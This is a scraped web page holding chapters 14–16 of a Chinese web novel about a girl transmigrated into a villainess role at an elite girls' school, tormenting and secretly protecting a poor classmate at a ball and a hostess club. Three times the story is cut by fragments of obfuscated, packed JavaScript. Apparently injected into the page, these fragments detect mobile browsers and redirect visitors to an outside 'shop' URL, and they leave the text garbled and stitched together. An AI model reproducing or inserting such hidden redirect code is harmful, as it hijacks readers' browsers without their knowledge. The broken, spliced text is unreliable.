l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17209309|197377||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 状她们都看在眼里,最终孙邈是自己跌跌撞撞跑去校医室的,脸已经完全不能看了。 “有些人手段就是厉害,不知道耍了什么小花招就能从枝头一跃成凤凰了,狗永远就是狗,开心了就摸几下,不开心了就把你踹开,打断腿扔进垃圾桶里。” 跟孙邈关系好的忍不住阴阳怪气。 裴凝置若罔闻。 她静静走到了自己的桌前,拿出了书本开始学习。 其他人见她油盐不进,也一股火没出发,只能低声骂骂咧咧。 “拽什么?” 可她们也不敢在对裴凝做些什么了。 毕竟安若的举动相当于告诉了全世界,裴凝只有她能欺负。 安若的光荣事迹不在少数,她们根本不担心裴凝能安心待多久。 可能是下午,可能是明天,安若心情不好了,裴凝就会被安若抛弃,任她们蹂躏。 她们骂了好久,裴凝完全不受干扰,她们也自觉没趣,开始讨论其他的事情。 “唉,明天晚上的舞会你打算穿什么?” 裴凝正在专心学习,闻言手顿了一下。 “我妈之前给我专门定制了一套鹅绒裙,我打算明天穿那条,一定会很显眼!” “这可是为数不多能跟S和A级接触的机会,你说要是明天我凸显的与众不同一点,被哪个A级注意到了呢。” “那到时候都快能在学校横着走了,A级生的女朋友,多神气。” “你还真别说,前段时间隔壁班那个谁不就是靠了点手段成了A级生的女朋友了吗?现在天天趾高气昂的,不知道的还以为她家飞黄腾达了呢。” 枫丹伯格是一所贵族女校,成员性别均为女性,就连学校里的猫都严格按照要求来执行。 就算她们大多都是养尊处优的大小姐,从小早熟,可十六七岁的年纪,依旧是青春懵懂的时刻,早恋的不在少数,不少人会偷尝禁果。 裴凝听着她们的言论,唇角往下压了压。 司萍萍那晚的举动让裴凝恶寒了好久,那样直白到不加掩饰的眼神让她很是恶心。 她不喜欢女生,司萍萍的举动让她加深了这个念头,教室里这些人的话更是让她恶心。 “这还不简单?明天不还有双人舞嘛,我听说其他几个A级生都喜欢温柔可爱的,到时候就嗓子软一点,装得可爱点,这不就行了?” “真的可以吗?不是说A级生都会提前定好舞伴吗?怎么可能会有我们的机会?” “怎么不可能,你能不能有点梦想,万一到时候出点意外,不就有机会了。” “你小点声,等下被其他人听到了。” 裴凝直直坐着,还拿着笔,但很久都没有动。 她的脑海里不断浮现出今天上午安若教她跳舞的场景,鼻尖似乎还残留着安若身上那股与众不同的香味.指腹明明贴着坚硬冰凉的笔杆,可那抹柔软仿佛还在指尖停留。 从今天早上就深深埋在她心里的疑点在这一刻忽然有了破土而出的趋势。 安若没有理由地教她跳舞是为了明天的舞会么? 毕竟裴凝没有见过安若让别人进过那间休息室。 见过安若那个样子的,只有她。 15. 会长的小狗腿(十五) 【宿主,醒醒。】 休息室里,安若身上盖着毛绒小毯子蜷缩在沙发上,闭着眼睡觉。 她今天上午折腾了太久,精力有些耗尽,但想到明天还有重头戏要表演,本来打算打开手机找些剧本学一学的,结果看了没几秒钟手机就从掌心滑落,睡着了。 系统看了看任务进度,确定还在按照正确的方向走便没有再叫她。 可是安若居然一下子睡到了下午五点,这就很不像话。 昨天安若打破了原有剧情,现在必须采取一些措施来补救,不然裴凝肯定会心生疑心的。 安若睡眠浅,系统一喊她就猛然睁开了眼。 她先是手肘撑着沙发,很警惕地在四周看了一眼,发现自己在休息时后才松了一口气,表情也松弛了不少。 “一定要去吗?” 安若拉过一旁的抱枕抱在怀里,不情不愿地问。 她今天都那么吓裴凝了。 怎么都不应该再欺负她了吧。 【那当然!谁让你昨天不听我的劝告要去干扰剧情。】 系统十分冷酷地说。 安若没有办法,只能慢吞吞下了沙发,“好吧。” 明明语气没有什么变化,但系统偏偏品出了一丝委屈。 它决定保持冷酷,这次之后安若肯定不敢了。 安若穿好鞋子后没精打采地打开门,她看着前面种着的绿植,深深吸了一口气,准备恢复到那副谁都欠她一百万的模样,结果视线微微往旁边一转,安若差点没被自己弄窒息。 裴凝怎么会在这里?? 裴凝单肩背着包,靠在墙边垂眼看书,听到安若的动静时便收起了手里的书。 “你....你怎么在这里?” 安若提高声音试图让自己听起来凶一点。 裴凝的目光轻轻落在了安若的脸上,只见女生白皙的脸颊上有一处心形的印子,往日里打理得一丝不苟的发丝也有些乱。 也不准确,只是安若平时都恨不得浑身上下每一处都经过精细打磨,现在反而更随意一点。 “不是你说的么。” 裴凝说,“我得听你的。” 安若简直搬起石头砸自己的脚。 她没有料到裴凝会畏惧她畏惧成这样,她都没要求过什么,裴凝就自己来了。 这一路上裴凝心里肯定非常挣扎和不甘的。 难道真的吓唬人吓过头了吗? 安若心里想了很多,面上也不显山水。 她刻薄地笑了,“你知道就好,以后这种事情不要让我亲自来催。” 为了彰显出她的恶劣态度,安若干脆把身上的斜挎包扔进了裴凝怀里,自己则是双手环胸,一副事不关己的样子,“好好给我拿着包。” 安若的包里没有什么东西,很轻盈,跟没有一样,但裴凝还是双手抱在怀里,低低嗯了一声。 明天就是宴会了,不少学生还留在学校准备节目。 于是就有不少人看到那个前段时间还被打得半死不活的贫困生正跟在安若身后,怀里抱着安若的包,而安若则是一脸不悦地走在前方,好像很不高兴的样子。 今早安若打了孙邈的事情很快就传遍了校园,不少人习以为常。 现在看到裴凝这样,更是幸灾乐祸。 可怜的特困生。 谁不知道,上一个像裴凝这样跟在安若身后替她拿包的不就是孙邈吗? 孙邈之前的人就更多了,最终的下场不都是被安若一个不高兴给踹开了吗? 她们只需要耐心等待就好。 毕竟... 脸上的伤口褪去后,裴凝的那张脸还是很出尘的。 这样的特困生玩法更多了。 出了校门口后,安若的司机立马将车开了过来。 安若仿佛看到了救星,她转身对裴凝摊开手,“把包给我,我要回家了。” 裴凝没动。 安若还以为自己没说清楚,“你耳朵聋吗?我说我要回家了。” 裴凝这时才缓缓抬起眼,她声音很轻,“今晚不打球了吗?” 一说打球,安若就有点被吸引到了。 但她不能表现得自己很想玩,便很装地哼笑了一声,对着裴凝阴阳怪气,“你以为我跟你一样玩物丧志吗?” 这句话说出来安若自己都心虚。 这个学校最没资格说这句话的恐怕就是她了。 裴凝这样的好学生,恐怕这辈子都没有这么被羞辱过。 裴凝听完她的话后又淡淡补充,“在那里也可以学习。” “......” 好想答应QAQ 这个条件对她来说太有诱惑力了。 可安若也没傻到分不清这句邀请是真心还是假意。 她很清楚的,裴凝就是跟她客套客套而已,要是真的去了裴凝估计才恶心呢。 安若明天还要预备发作,今天就不打算折腾裴凝了。 “那也不行。” 她哼了一声,“我今天就是不想打。” 她说着便佯装不耐烦伸手将包包从裴凝的手中夺走,转身上了车。 等车门关上后,安若决定再给裴凝一点提示,“明天打扮得利落点,别给我丢脸。” 她说完便缓缓摇上了窗户,只给裴凝留下了一个冷酷的侧脸。 裴凝就这么静静站在原处,注视着安若的离开。 明天打扮得利落点。 安若的话还在裴凝的脑海里回荡,她手指微微蜷缩起来。 果然,安若是打算让她当舞伴。 只是裴凝不知道安若为什么要选择那么做。 她沉沉望着安若离开的方向,过了很久才抬起脚步转身离开。 * “来啦?” 徐浅正在算帐单时,就见到裴凝背着书包缓缓走了进来。 “今天怎么这么开心?” 徐浅随口问。 裴凝不知道她从哪里判断出她很开心的,“还好。” “我看未必啊。” 徐浅眼里带着笑意和调侃,“姐看人可是很准的。” 裴凝觉得徐浅可能还需要回去练练,但她没吭声,神情很是漠然。 徐浅也知道裴凝不愿,这俱乐部里谁不知道裴凝对这方面不感兴趣。 但现在被那群权贵盯上就没有什么办法了,那些人让裴凝悄无声息消失在这个世界上也只是一句话的事,更别提让她屈服。 “行了。” 徐浅说,“姐也不多说,你现在想干点什么都可以,到点就下班吧。” 裴凝眉头微拧, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17209310|197377||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “真的?” 这里的灰色产业并不是没有,裴凝了解过一些。 某些大老板会指定一个人,让她只能服侍自己。 “对啊。” 徐浅说,“人安大小姐自己跟我说的。” 裴凝眸色很暗了,她抿了抿唇,“知道了。” 她很平静地走到了更衣室把书包放下,换上了这里的制服。 脑海里徐浅的话还在不断重现。 安若没有限制她的人身自由,没有让她失去在这里的其他顾客。 可当初在厕所里,安若那样冷漠尖锐的样子又一次充斥了裴凝的脑海。 裴凝闭了闭眼,接了一把冷水往脸上泼。 安若那样反复无常的人,她没必要过度关注。 她只需要好好赚钱,治好妈妈的病就可以了。 等裴凝彻底平静下来后,她才往门口走。 只是刚出门,裴凝就看到自己的同事正双手环着另一个成熟女人的胳膊,声音很软,“姐姐,你好久都没来了,我好想你。” 而那个成熟的女人裴凝也认识,听说也是大老板。 此刻她只是露出了一抹很淡的笑意,“才一天而已。” 同事高高兴兴地搂着她的肩膀,嗓音更甜了,“一天也够久了,你以前都还天天来呢,我昨天可伤心了,姐姐不来,我怎么都没劲。” 等到她们离开后,裴凝才从拐角慢慢走了出来。 这样的情形她见过很多遍,不少同事为了留住客人都会这样,但偏偏还都很有效果,客源非常稳定。 可裴凝学不会,也不愿意学。 ...所以安若今天不来,是因为她昨天不够热络吗? 裴凝垂着眼想。 今天恰好裴凝那几个熟客没来,她成了无事可干的闲人,只能帮人端端果盘,酒盘之类的。 “麻烦把这个送去210。” 酒保对裴凝说。 裴凝轻轻嗯了一声,便拿着酒去了210,她站在门前敲了敲门,里面过了几秒才传出一道有点喘息的生意,“进。” 裴凝端着酒走了进去,她看到刚刚的同事嘴唇都是红的,衣领还有点乱。 她看到裴凝,眼神透露着几分不好意思,但很快又被那个女人堵住了嘴。 从始至终裴凝都目不斜视,将酒放下后说了一句请慢用后就转身离开。 只是出了门后,裴凝走到窗边吹了好久的冷风都没有平静下来。 她鲜少撞见这样的场合,心里不免升起了一抹厌恶。 那些衣冠楚楚的人来到这里难道只是为了做这些事吗? 很快,她的脑海又浮现出了安若昨晚坐在桌上的样子,那双腿很白很长,被过膝袜包裹着也很好看。 明明救了她却什么都没有提,只是让她打了几个小时的台球。 安若原本在裴凝心里的形象很是恶劣,可现在却有些模糊。 裴凝不信安若会这么好心的无理由对她好,阻止别人欺负她,惩罚那些动过她的人,帮她赶走想潜规则她的顾客,还教她跳舞,邀请她晚会共舞。 这都太不正常了。 今早那些女生的话忽然又在脑海里回荡。 A级生,女朋友,同性恋。 一个荒谬的可能在裴凝的脑海里浮现出来。 16. 会长的小狗腿(十六) “你今天好漂亮啊。” “你也是。” .... 校园内,穿着各色各样华丽服饰的学生三三两两的走向同一个方向。 今天是枫丹一年一度的新人迎接晚宴,对于她们这些贵族子女来说是攀谈和物色猎物对象的好时候,而且这也是她们为数不多能接触到S级特优生的时刻,如果能在特优生那里留下什么特别的印象,以后的日子会好走很多。 “听说秦会长今天也会来。” 一个B级生用正常的音量跟同伴分享,却被人捂住了嘴,“你小点声。” 她边说,边侧目往一旁看去。 只见不远处有一道熟悉又张扬的身影正往她们这边走来。 安若在学校里知名度不小,漂亮的脸蛋,私生女的身世,嚣张跋扈的性格和跟秦嫣那一缕说不清道不明的关系,让她从进学校开始就是人尽皆知的风云人物。 “你干嘛不让我说话。” 那人悄悄问自己的同伴。 同伴捂住嘴在她耳边悄悄说,“这你就不知道了吧,以后别在学校里提秦嫣。” 新来的学生可能对安若和秦嫣的故事有所不知,毕竟秦嫣不常常出现在各种的视野里,往往只会在重要的节点才会出来露个面。 但在枫丹待上半年的老人可都清楚,这个张扬跋扈,谁都不放在眼里的大小姐对秦嫣是痴迷的喜欢,而且占有欲很强,不容许任何人接近秦嫣,就连去年舞会上给秦嫣指路的服务员都会被她派人打一顿。 安若这样的作法并不是没有人反感,只是作为另一位主人翁的秦嫣从未对安若这些行为表达过任何不满,似乎就是在纵容她的行为。 秦嫣作为学生会会长,跟她表达好感的人不在少数,但能近她身的也只有安若一个。 这独一份的例外更是助长了安若嚣张的气焰。 “哒哒。” 高跟鞋的声音逐渐逼近,刚刚还在交头接耳的两人瞬间恢复了正常行走的状态,佯装什么事情都没有发生。 安若今天化着淡妆,穿了一件淡粉色蓬蓬裙,微卷的发丝精心打理落在肩头,荷叶边的设计衬得腰愈发纤细,再往下就是那双修长莹白的腿,脚上穿着一双小巧精致的高跟鞋。 纵使所有人都讨厌安若,但奈何安若长了那么一张漂亮的脸,就算上一秒她还在朝着自己恶言相向,只要她稍稍露出一丝笑意,都会让人有些恍惚,好像安若再温声细语地说几句话,曾经她带给自己的梦魇都能一笔勾弦。 刚刚还在攀谈的两人此刻的视线都不由自主落在安若的身上,直到安若消失在她们的视野内。 可依旧有源源不断的人,向安若投去了带着打量和渴望的目光,但安若没有施舍给她们一个眼神,像一只骄傲的孔雀。 【九九,我快要被勒死了。】 安若面上很是冷酷,脑海里却在跟系统哼哼。 这什么破衣服,连走路都需要吸着肚子,不然就绷得难受,跟刑具一样,连弯腰捡东西都很困难。 更别说脚上的高跟鞋了,安若不喜欢穿这种东西,很痛很容易摔倒还不符合她的审美,她还是喜欢自己的小棉拖和运动鞋。 可是为了维持人设,走剧情,她还是咬咬牙穿上了。 【宿主,你再忍忍,你要想你现在可是即将要见到心上人的,当然要打扮得漂亮一点啦。】 安若知道系统说的在理,但还是不太赞同,【那我觉得这种需要牺牲自己的漂亮也维持不了多久。】 但原著里,原主每一次见到秦嫣都是精心打扮,身上永远喷着最好闻的香水,穿最符合秦嫣审美的衣裳,用一张不属于自己的面具出现在秦嫣的面前。 年年如此。 安若忽然也很佩服原主的毅力。 她真的不太明白,那个秦嫣到底有什么魅力能让原主这样对她趋之若鹜。 安若到舞厅的时候,所有人都寂静了下来,目光落在她的身上,有惊艳,有打量,也有不怀好意。 但安若都熟视无睹,她今天的目的很明确,让裴凝出丑,然后给秦嫣出场的机会。 可坏消息是安若几乎找遍了整个舞厅,都没有看到裴凝的影子,反而把自己的脚走得很痛很痛。 裴凝怎么还不来啊。 安若无数次不经意地往门口看,但一个人影都没有看见,她有点郁闷,脸上的表情更加严肃不好惹了。 “若姐,你今天好漂亮。” 还是有B级生壮着胆子,上前跟她套近乎。 安若现在并不想理人,但她的基本素养还是让她开了口,“谢谢。” 那个B级生一听,眼睛一转,又往她身边凑,“若姐,我看你今天好像不是很开心,是不是遇到什么伤心事了?” 安若不喜欢跟别人凑太近,她拧了拧眉,“谁跟你说我不开心了?” B级生一听就面露惶恐,“不好意思,若姐,我只是担心你。” 她话是这么说,视线却很隐蔽地将安若那张透着我不开心的漂亮脸蛋看了个遍。 她家境不好,在B级生里也受歧视,要是能有安若的庇护,那她肯定也能成为人中龙凤。 外界都传闻安若的脾气不好,她原本还有些忐忑,但现在三言两语接触先来,安若似乎也没有传说中的那么危险和不近人情。 安若的直觉告诉她这个人接近自己不怀好意。 她见过太多这样的人,现在又记着找裴凝,于是便不留情面地说,“闭嘴,你很吵。” B级生立马不敢再说话了。 她退到一旁很不甘心地想要寻找下一个机会,只见安若一直冷这张脸,视线不断往门口瞟。 安若等了好久,裴凝都没有来。 她抿着唇,打开了手机通讯录,可里面并没有裴凝的电话号码。 这都这个点了,裴凝怎么还不来,难道是出什么事了吗?还是说又被谁欺负了难以抽身? 安若有点坐立难安,脑海里不好的想法翻滚不断。 又等了十几分钟后,她实在坐不住了,刚想站起来再去找找时,一抬头差点撞在别人怀里。 “抱歉。” 裴凝不知何时出现在了她面前,“我来晚了。” 安若愣愣抬头。 裴凝果然没有听她的话,还是一如往常地穿着学校的黑色制服,只不过身上多了一缕陌生的好闻的香味。 一旁的B级生有些幸灾乐祸地想,谁不知道这安大小姐是在等秦嫣,现在这个C级生简直就是在往窗口上撞。 可是下一秒,她就看到刚刚还一脸不开心,冷若冰霜的安若正看着裴凝,声音很凶,但仔细听又好像是在委屈,“你怎么现在才来?” 其他人听到这里的动静纷纷往安若的方向看。 一时,她们成了众矢之的。 裴凝其实很早就到了,只不过一直都待在隐蔽的角落静静观察着她。 她看到安若精心打扮来到了舞厅,看到她冷着脸,装作高贵冷艳,实际上眼睛不断在寻找她的样子,也看到了别人故意来找安若,疑似想要引起安若注意或者邀请安若跳舞,被她冷脸拒绝的模样。 裴凝知道,自己不应该出现的。 今晚的舞会对她来说没有一点意义。 有这个时间,还不如翘了去打工,还能多赚些钱。 只是她昨晚睡着后做了个梦。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17209311|197377||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 梦里她没有去,安若就被她气哭了,她白嫩的手抹着眼泪,红着眼睛瞪她,“你是不是故意想让我难堪?想让我跟别人跳舞?” 所以今天她鬼使神差地推掉了兼职,早早来到了这里等待。 前面她都能淡然看在眼里,只是到最后,安若明明表情也没有什么变化,可裴凝总觉得她快要哭出来了。 理智告诉裴凝,不该理会。 安若这样的人没有心,更没有真心。 但最后看到安若明显有些茫然的样子,又想到了自己还有把柄落在安若的手上,安若还在前几天帮过她。 裴凝做了好一番的挣扎后,才缓缓动身,走到安若面前。 毕竟安若帮过她。 就算知道她的出手可能掺杂了一些别的感情,裴凝也有自信不会动摇一丝一毫。 裴凝原本没打算解释的,可当她对上安若那双含着焦急的双眼时,下意识找了个借口,“刚刚没找到路。” 安若听完,冷着脸上下打量了一下裴凝,确定她身上没有伤后才松了一口气。 没有被其他人欺负就好。 毕竟现在她要开始欺负人了。 安若偏开了脸,很生气地说,“可是你迟到了好久。” 女生的尾音到最后微微下压,像是真的委屈了。 裴凝缓缓开口,“那怎么才能不生气?” 以安若的性格,大概率会打她一记耳光。 但其实如果是安若本人,裴凝只要出现了她其实就消气了。 只可惜现在她不是安若,是原主。 原主这个时候肯定不会放过裴凝的。 安若还谨记着自己的任务,要把酒狠狠洒在裴凝脸上,让她被当众羞辱。 只是裴凝一服软,安若就不知道该怎么发火了。 她木着脸,憋了半天才冷冰冰地说,“可以啊,你迟到了整整一个小时,那就自罚一瓶酒。” “不过呢...” 安若装做气定神闲地说,“这酒得本小姐亲自来喂你。” 对于安若的这个决定,裴凝还是忍不住诧异抬眼。 安若以为她是被吓到了,一边在心里道歉一边将旁边的葡萄酒拿了过来。 她一只手拿着酒杯,一只手掐住了裴凝的脸,逼迫她张开唇,她眼睛还带着点红,声音却很是凶狠,“你要是敢反抗,我不会轻饶你。” 于是在那个角落的所有人都看到安若坐在沙发上,逼迫裴凝跪下来跟她平视,手里的酒杯并没有贴紧裴凝的唇,而是悬在半空往下倒,似乎是故意的,几乎大半的酒水都洒在了裴凝那张淡漠精美的脸上,深红色的液体顺着她白皙的脖颈缓缓留下了下来。 一杯酒倒完,安若才悄悄松了一口气。 她怕裴凝酒量不好,所以基本上都是故意往旁边撒的。 裴凝现在肯定很耻辱,她只需要撑到秦嫣出现了就可以。 她将酒杯放在一旁,玻璃碰撞桌面发出了清脆的响声。 安若搜肠刮肚才找到了能够攻击裴凝的点。 她皱了皱秀气的眉毛,一脸嫌弃地说,“裴凝,你现在好脏。” 其实裴凝现在除了唇边有些未干的酒渍外,看不出来任何异样,身上的味道也并不难闻,是一股花香夹杂着酒香的气味。 她本意是要羞辱裴凝,但只觉得腿上一软。 只见裴凝手里拿着一块干净的手帕,垂眸仔仔细细擦拭着安若的鞋尖。 安若下意识抽回了脚,低声凶她,“你干嘛?” 裴凝动作不紧不慢,将安若鞋尖那些刚刚不慎洒落在上面的酒渍擦掉后才抬眼看她。一字一顿,“把你擦干净。”